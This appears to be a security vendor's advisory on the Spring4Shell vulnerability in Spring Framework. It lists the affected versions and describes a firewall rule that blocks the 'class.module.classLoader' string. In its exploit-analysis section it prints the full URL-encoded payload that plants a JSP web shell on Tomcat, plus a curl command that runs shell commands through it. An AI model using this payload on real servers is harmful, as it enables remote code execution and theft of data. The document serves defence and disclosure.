Spring4shell is a vulnerability that allows cybercriminals to access, control, and execute malicious code on a remote server. Mlytics deployed a mitigation strategy to help protect against the Spring4shell vulnerability.
About Spring4shell
Spring4Shell (CVE-2022-22965 and CVE-2022-22963) is a zero-day security vulnerability in Spring Framework (one for Spring Core and another for Spring Cloud Functions, respectively). Similar to Log4Shell, successful exploitation of Spring4shell would allow an attacker to perform unauthenticated remote code execution by inserting an “attack syntax” that can execute a JAVA object.
It was given a CVSS severity score of 9.8 (critical), and was first found in the wild last March 29th, 2022, on a set of Tweets (now deleted) from a China security group Twitter account showing screenshots of a new POC 0-day exploit in the popular Java library Spring Core.
The exploitation works under the following conditions (based on existing PoCs):
- JDK 9 or higher (via data binding)
- Apache Tomcat as the Servlet container
- Packaged and deployed as a traditional WAR (in contrast to a Spring Boot executable jar)
- spring-webmvc or spring-webflux dependency
- Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older unsupported versions (For CVE-2022-22965)
- Spring Cloud Function versions 3.1.6, 3.2.2, and older unsupported versions (CVE-2022-22963)
It should be noted, however, that the nature of the vulnerability is more general, and there may be other conditions to exploit it.
Estimated impact
The Spring Framework is very frequently used with Java software. In addition, due to the ease of exploitation and the breadth of applicability, it is estimated that it will have a similar impact as that of high-profile vulnerabilities such as Log4j, Heartbleed, and Shellshock. It is also expected that there will be an increasing number of vulnerable products that will be discovered in the weeks to come.
Analyzing the Exploit Scenario
The exploit is executed in 2 stages (details of the PoC can be found here):
Stage 1:
First, the attacker will issue subsequent requests which set the following Tomcat logging properties (core exploitation data):
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
The purpose of these requests is to create a jsp file that allows attackers to traverse the properties of class using the query parameter to locate fields that they can write values and are capable of executing a code.
Stage 2:
After the attacker managed to create jsp file, they will issue a final request (i.e. curl) using the jsp file which will then use the values that have been set to run a remote shell command. E.g.
curl http://localhost:8080/shell.jsp?cmd=whoami
Specifically, the jsp file will be written to: webapps/ROOT/ and it will contain the payload from the Tomcat pattern property set above. This file will be used to connect and access the server, and query parameter cmd can be used to input any Linux command, e.g. whoami.
Once the attacker gained access to the server, the attacker can do pretty much everything using the cmd parameter. If there is wide permission, and/or it allows root access, the attacker can access and steal information, such as ssh keys, passwords, personal information, IP address, etc. It is also possible to scan the internal network where the servers belong and find out more vulnerable hosts more attacks. Or perform remote activities such as cryptocurrency mining, creating botnets, sending spam, etc. Worse, the attacker can encrypt the server and use ransomware to force victims to pay bitcoin, or just wipe out the content of the whole server.
Mlytics Origin Shield protection against Spring4shell
To mitigate this vulnerability Mlytics Origin Shield was patched to include a CRS (firewall) rule that will filter request variables such as:
- Parameter in request,
- Parameter in POST,
- URI, and
- Request body
Such that, if any of these variables (on the request) is detected to contain the attack syntax:
“class.module.classLoader”
then the Origin Shield will block that request and save the request on the Origin Shield Threat Log.
You can enable the CRS for the Spring4shell vulnerability on the Mlytics platform by navigating to ‘Origin Shield’ > ‘CRS rules’ > ‘Generic injection rules’.
On this page, search for the Rule IDs: 234200 for both CVE-2022-22965 and CVE-2022-22963.
The scenarios below illustrate the attack with or without the Mlytics Origin Shield CRS rule
A. Scenario without the Mlytics Origin Shield CRS rule:
Executing the curl request was successful which is indicated by the status code 200. In addition, the remote Linux command ls was also successfully executed and displayed the list of files available on the attacker’s remote server.
B. Scenario with the Mlytics Origin Shield CRS rule:
Executing the curl request was not successful which is indicated by the status code 403. In addition, the remote Linux command failed to display the list of files available on the attacker’s remote server.
Finally, it has to be noted that the Spring4Shell vulnerability is still actively being exploited. Hence, Mlytics will continue to refine and expand these rules in order to respond to any attackers attempting to modify the exploit. And we also recommend upgrading Spring Framework to a patched version 5.3.18 and 5.2.20 to avoid the exploit.
